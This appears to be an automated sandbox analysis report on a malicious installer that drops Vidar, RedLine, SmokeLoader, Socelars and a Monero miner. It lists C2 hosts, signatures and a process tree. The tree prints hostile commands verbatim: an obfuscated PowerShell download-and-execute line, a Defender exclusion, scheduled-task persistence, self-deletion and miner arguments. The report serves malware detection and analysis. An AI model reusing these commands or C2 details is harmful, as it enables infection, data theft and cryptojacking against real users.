Resubmissions

07-09-2021 17:58

210907-wkd7wadah9 10

07-09-2021 17:45

210907-wb81wsdag7 10

Analysis

  • max time kernel
    30s
  • max time network
    1808s
  • platform
    windows10_x64
  • resource
    win10-de
  • submitted
    07-09-2021 17:58

General

  • Target

    setup_x86_x64_install.exe

  • Size

    2.9MB

  • MD5

    3f1f81101d0ce95fdfac97f5913cd662

  • SHA1

    8e615a64e4d72b08926242b7d73a608bdd7e9fce

  • SHA256

    90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

  • SHA512

    a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://shellloader.com/welcome

Extracted

Family

vidar

Version

40.5

Botnet

706

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

redline

Botnet

Jayson

C2

95.181.172.207:56915

Extracted

Family

smokeloader

Version

2020

C2

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/

rc4.i32
rc4.i32

Extracted

Family

vidar

Version

40.5

Botnet

916

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    916

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 8 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • rl_trojan 4 IoCs

    redline stealer.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 4 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 37 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 11 IoCs
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 20 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies registry class 10 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2684
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
      1⤵
        PID:988
      • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:4900
        • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
          "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4420
          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\setup_install.exe
            "C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\setup_install.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:4584
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4756
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:856
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4864
              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11d7385a978cc.exe
                Tue11d7385a978cc.exe
                5⤵
                • Executes dropped EXE
                PID:3788
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4836
              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11b9d76a96506.exe
                Tue11b9d76a96506.exe
                5⤵
                • Executes dropped EXE
                PID:1208
                • C:\Users\Admin\AppData\Local\Temp\is-DD74N.tmp\Tue11b9d76a96506.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-DD74N.tmp\Tue11b9d76a96506.tmp" /SL5="$B007C,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11b9d76a96506.exe"
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2736
                  • C:\Users\Admin\AppData\Local\Temp\is-TV615.tmp\46807GHF____.exe
                    "C:\Users\Admin\AppData\Local\Temp\is-TV615.tmp\46807GHF____.exe" /S /UID=burnerch2
                    7⤵
                    • Executes dropped EXE
                    PID:4900
                    • C:\Users\Admin\AppData\Local\Temp\QGNNDSRDJB\ultramediaburner.exe
                      "C:\Users\Admin\AppData\Local\Temp\QGNNDSRDJB\ultramediaburner.exe" /VERYSILENT
                      8⤵
                        PID:4248
                        • C:\Users\Admin\AppData\Local\Temp\is-OV14T.tmp\ultramediaburner.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-OV14T.tmp\ultramediaburner.tmp" /SL5="$3022C,281924,62464,C:\Users\Admin\AppData\Local\Temp\QGNNDSRDJB\ultramediaburner.exe" /VERYSILENT
                          9⤵
                            PID:6056
                            • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                              "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                              10⤵
                                PID:5736
                          • C:\Users\Admin\AppData\Local\Temp\b7-1d993-b06-4398d-fe354e8ec99f1\Dodojalifi.exe
                            "C:\Users\Admin\AppData\Local\Temp\b7-1d993-b06-4398d-fe354e8ec99f1\Dodojalifi.exe"
                            8⤵
                              PID:5276
                            • C:\Users\Admin\AppData\Local\Temp\cc-861dc-f81-16697-2cddc3b5a1ad0\Pywaepusily.exe
                              "C:\Users\Admin\AppData\Local\Temp\cc-861dc-f81-16697-2cddc3b5a1ad0\Pywaepusily.exe"
                              8⤵
                                PID:5612
                                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                  dw20.exe -x -s 2640
                                  9⤵
                                    PID:4256
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4428
                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11f251db82fb7b.exe
                            Tue11f251db82fb7b.exe
                            5⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:344
                            • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                              "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                              6⤵
                              • Executes dropped EXE
                              PID:4412
                              • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                                "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:4456
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                  8⤵
                                    PID:6188
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                      9⤵
                                      • Creates scheduled task(s)
                                      PID:6404
                                  • C:\Users\Admin\AppData\Roaming\services64.exe
                                    "C:\Users\Admin\AppData\Roaming\services64.exe"
                                    8⤵
                                      PID:6612
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                        9⤵
                                          PID:4288
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                            10⤵
                                            • Creates scheduled task(s)
                                            PID:7300
                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                          "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                          9⤵
                                            PID:1532
                                          • C:\Windows\explorer.exe
                                            C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                            9⤵
                                              PID:7612
                                        • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                                          "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2612
                                          • C:\Users\Admin\AppData\Roaming\5636569.exe
                                            "C:\Users\Admin\AppData\Roaming\5636569.exe"
                                            8⤵
                                              PID:2440
                                            • C:\Users\Admin\AppData\Roaming\1815345.exe
                                              "C:\Users\Admin\AppData\Roaming\1815345.exe"
                                              8⤵
                                                PID:5648
                                              • C:\Users\Admin\AppData\Roaming\4834516.exe
                                                "C:\Users\Admin\AppData\Roaming\4834516.exe"
                                                8⤵
                                                  PID:3484
                                                • C:\Users\Admin\AppData\Roaming\5288595.exe
                                                  "C:\Users\Admin\AppData\Roaming\5288595.exe"
                                                  8⤵
                                                    PID:4724
                                                  • C:\Users\Admin\AppData\Roaming\1415166.exe
                                                    "C:\Users\Admin\AppData\Roaming\1415166.exe"
                                                    8⤵
                                                      PID:1304
                                                  • C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
                                                    7⤵
                                                    • Executes dropped EXE
                                                    PID:4928
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
                                                      8⤵
                                                        PID:4132
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /im Alfanewfile2.exe /f
                                                          9⤵
                                                          • Kills process with taskkill
                                                          PID:7212
                                                        • C:\Windows\SysWOW64\timeout.exe
                                                          timeout /t 6
                                                          9⤵
                                                          • Delays execution with timeout.exe
                                                          PID:7492
                                                    • C:\Users\Admin\AppData\Local\Temp\2.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                                      7⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4284
                                                      • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                        8⤵
                                                          PID:5496
                                                          • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                            9⤵
                                                              PID:3800
                                                        • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                          7⤵
                                                          • Executes dropped EXE
                                                          PID:2384
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 816
                                                            8⤵
                                                            • Program crash
                                                            PID:5204
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 840
                                                            8⤵
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • Program crash
                                                            PID:1980
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 896
                                                            8⤵
                                                            • Program crash
                                                            PID:6016
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 904
                                                            8⤵
                                                            • Program crash
                                                            PID:3728
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 956
                                                            8⤵
                                                            • Program crash
                                                            PID:4176
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 856
                                                            8⤵
                                                            • Program crash
                                                            PID:4664
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 1320
                                                            8⤵
                                                            • Program crash
                                                            PID:6512
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 1372
                                                            8⤵
                                                            • Program crash
                                                            PID:6524
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 1348
                                                            8⤵
                                                            • Program crash
                                                            PID:6636
                                                        • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                          7⤵
                                                          • Executes dropped EXE
                                                          PID:200
                                                          • C:\Users\Admin\AppData\Local\Temp\is-2ISJO.tmp\setup_2.tmp
                                                            "C:\Users\Admin\AppData\Local\Temp\is-2ISJO.tmp\setup_2.tmp" /SL5="$8004E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                            8⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:3868
                                                            • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                              9⤵
                                                              • Executes dropped EXE
                                                              PID:5412
                                                              • C:\Users\Admin\AppData\Local\Temp\is-S8N2P.tmp\setup_2.tmp
                                                                "C:\Users\Admin\AppData\Local\Temp\is-S8N2P.tmp\setup_2.tmp" /SL5="$501F8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                                10⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                PID:5528
                                                                • C:\Users\Admin\AppData\Local\Temp\is-I3F0K.tmp\postback.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\is-I3F0K.tmp\postback.exe" ss1
                                                                  11⤵
                                                                    PID:5668
                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                      explorer.exe ss1
                                                                      12⤵
                                                                        PID:5480
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                          13⤵
                                                                            PID:6456
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                              14⤵
                                                                                PID:7072
                                                                            • C:\Users\Admin\AppData\Local\Temp\9hATSW8qR.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\9hATSW8qR.exe"
                                                                              13⤵
                                                                                PID:7260
                                                                                • C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"
                                                                                  14⤵
                                                                                    PID:7376
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
                                                                                      15⤵
                                                                                        PID:7512
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
                                                                                          16⤵
                                                                                            PID:7772
                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F
                                                                                          15⤵
                                                                                          • Creates scheduled task(s)
                                                                                          PID:7532
                                                                                    • C:\Users\Admin\AppData\Local\Temp\uYruUkykC.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\uYruUkykC.exe"
                                                                                      13⤵
                                                                                        PID:7500
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 1596
                                                                                        13⤵
                                                                                        • Program crash
                                                                                        PID:7400
                                                                          • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                                                            7⤵
                                                                            • Executes dropped EXE
                                                                            PID:5196
                                                                          • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                                                                            7⤵
                                                                            • Executes dropped EXE
                                                                            PID:4084
                                                                            • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                                                                              8⤵
                                                                              • Executes dropped EXE
                                                                              PID:5980
                                                                          • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                                                            7⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:5312
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
                                                                      4⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:192
                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                        Tue11e4e580f2e8141a3.exe
                                                                        5⤵
                                                                        • Executes dropped EXE
                                                                        • Suspicious use of SetThreadContext
                                                                        PID:1540
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                          6⤵
                                                                          • Executes dropped EXE
                                                                          PID:2176
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                          6⤵
                                                                          • Executes dropped EXE
                                                                          PID:4500
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                          6⤵
                                                                          • Executes dropped EXE
                                                                          PID:1576
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                          6⤵
                                                                            PID:6024
                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                            6⤵
                                                                            • Executes dropped EXE
                                                                            PID:5576
                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                            6⤵
                                                                              PID:5824
                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                              6⤵
                                                                                PID:684
                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                6⤵
                                                                                  PID:5428
                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                  6⤵
                                                                                    PID:5240
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                    6⤵
                                                                                      PID:3084
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                      6⤵
                                                                                        PID:2184
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 24
                                                                                          7⤵
                                                                                          • Program crash
                                                                                          PID:6592
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                        6⤵
                                                                                          PID:6584
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                          6⤵
                                                                                            PID:7012
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                            6⤵
                                                                                              PID:6688
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                              6⤵
                                                                                                PID:7140
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                6⤵
                                                                                                  PID:5904
                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                  6⤵
                                                                                                    PID:5632
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                    6⤵
                                                                                                      PID:7412
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                      6⤵
                                                                                                        PID:7916
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                        6⤵
                                                                                                          PID:7200
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                          6⤵
                                                                                                            PID:7804
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                            6⤵
                                                                                                              PID:4852
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                              6⤵
                                                                                                                PID:6740
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                6⤵
                                                                                                                  PID:7760
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                  6⤵
                                                                                                                    PID:5660
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                    6⤵
                                                                                                                      PID:7812
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                      6⤵
                                                                                                                        PID:6204
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                        6⤵
                                                                                                                          PID:5244
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                          6⤵
                                                                                                                            PID:1044
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                            6⤵
                                                                                                                              PID:7696
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                              6⤵
